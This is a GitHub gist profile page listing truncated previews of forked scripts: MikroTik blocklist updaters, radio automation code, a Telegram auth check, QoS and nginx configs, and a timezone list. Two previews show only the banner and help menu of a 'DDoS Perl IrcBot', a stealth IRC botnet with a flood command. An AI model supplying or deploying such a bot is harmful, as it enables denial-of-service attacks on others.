Skip to content

Instantly share code, notes, and snippets.

View toxi22's full-sized avatar

Roman toxi22

View GitHub Profile
@toxi22
toxi22 / sync_uablacklist
Created May 26, 2018 23:37 — forked from anonymous/sync_uablacklist
Mikrotik script to sync address list with uablacklist.net
:local apiPath "https://uablacklist.net/subnets_mikrotik.txt"
:local tempFile "uablacklist.txt"
:local listName "uablacklist"
/log info "fetching UA blacklist registry ($apiPath)..."
:put "fetching UA blacklist registry ($apiPath)..."
/tool fetch url=$apiPath dst-path=$tempFile
/log info "removing existing $listName..."
:put "removing existing $listName..."
while ((Now >= T['12:00:00']) and (Now <= T['12:35:00']) and (Flag = 32)) do
begin
// Ab hier alles im While
Liner := CAT['bett_temperaturen'].ChooseSong(smRandom, NoRules);
Aux2.Volume := 40;
Aux2.Queuesong(Liner)
PAL.WaitForTime(StartTime1230);
Queue.Clear;
Cat['Popmusik_Poprock'].QueueTop(smRandom, NoRules);
Cat['Programmpromos'].QueueTop(smRandom, NoRules);
while
(
(
((Now >= T['11:50:00']) and (Now <= T['11:52:00'])) and
((DayOfWeek(NOW) = Monday) or (DayOfWeek(NOW) = Tuesday) or (DayOfWeek(NOW) = Wednesday) or (DayOfWeek(NOW) = Thursday) or (DayOfWeek(NOW) = Friday)) and (Flag = 1)
) or
(
((Now >= T['12:20:00']) and (Now <= T['12:22:00'])) and
((DayOfWeek(NOW) = Monday) or (DayOfWeek(NOW) = Tuesday) or (DayOfWeek(NOW) = Wednesday) or (DayOfWeek(NOW) = Thursday) or (DayOfWeek(NOW) = Friday) and (Flag = 1))
<?php
define('BOT_TOKEN', 'XXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXX'); // place bot token of your bot here
function checkTelegramAuthorization($auth_data) {
$check_hash = $auth_data['hash'];
unset($auth_data['hash']);
$data_check_arr = [];
foreach ($auth_data as $key => $value) {
$data_check_arr[] = $key . '=' . $value;
@toxi22
toxi22 / import
Created June 15, 2021 15:29 — forked from Pliner/import
Mikrotik antifilter.download update script
:do {
:do {
/file remove "/ipsum.rsc";
/file remove "/subnet.rsc";
} on-error={}
:put "Downloading ipsum.rsc...";
:do {
/tool fetch url="https://antifilter.download/list/ipsum.rsc" dst-path="/ipsum.rsc"
} on-error={
@toxi22
toxi22 / DDoS Perl IrcBot v1.0.perl
Created June 24, 2021 10:13 — forked from Cherishao/DDoS Perl IrcBot v1.0.perl
DDoS Perl IrcBot v1.0.perl
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2017 by flood.ro Team ## [ Help ] ###########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by w0rmer Security Team ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
@toxi22
toxi22 / QoS
Created October 1, 2021 12:38 — forked from diegargon/QoS
QoS Ubuntu Script
#!/bin/bash
# Diego García Gonzalez (diegargon) diego@envigo.net
# v1.0
### BEGIN INIT INFO
# Provides: myQoS
# Required-Start: networking, myFirewall
# Required-Stop:
# Should-Start:
# Should-Stop:
# Default-Start: 2 3 4 5
@toxi22
toxi22 / nginx.conf
Created January 31, 2022 12:18 — forked from igortik/nginx.conf
Nginx optimized configuration with DDoS mitigation
user nginx;
# one(1) worker or equal the number of _real_ cpu cores. 4=4 core cpu
worker_processes 4;
# renice workers to reduce priority compared to system processes for
# machine health. worst case nginx will get ~25% system resources at nice=15
worker_priority -5;
@toxi22
toxi22 / timedatectl list-timezones
Created September 18, 2023 23:58 — forked from adamgen/timedatectl list-timezones
An online display timedatectl list-timezones list
Africa/Abidjan
Africa/Accra
Africa/Addis_Ababa
Africa/Algiers
Africa/Asmara
Africa/Bamako
Africa/Bangui
Africa/Banjul
Africa/Bissau
Africa/Blantyre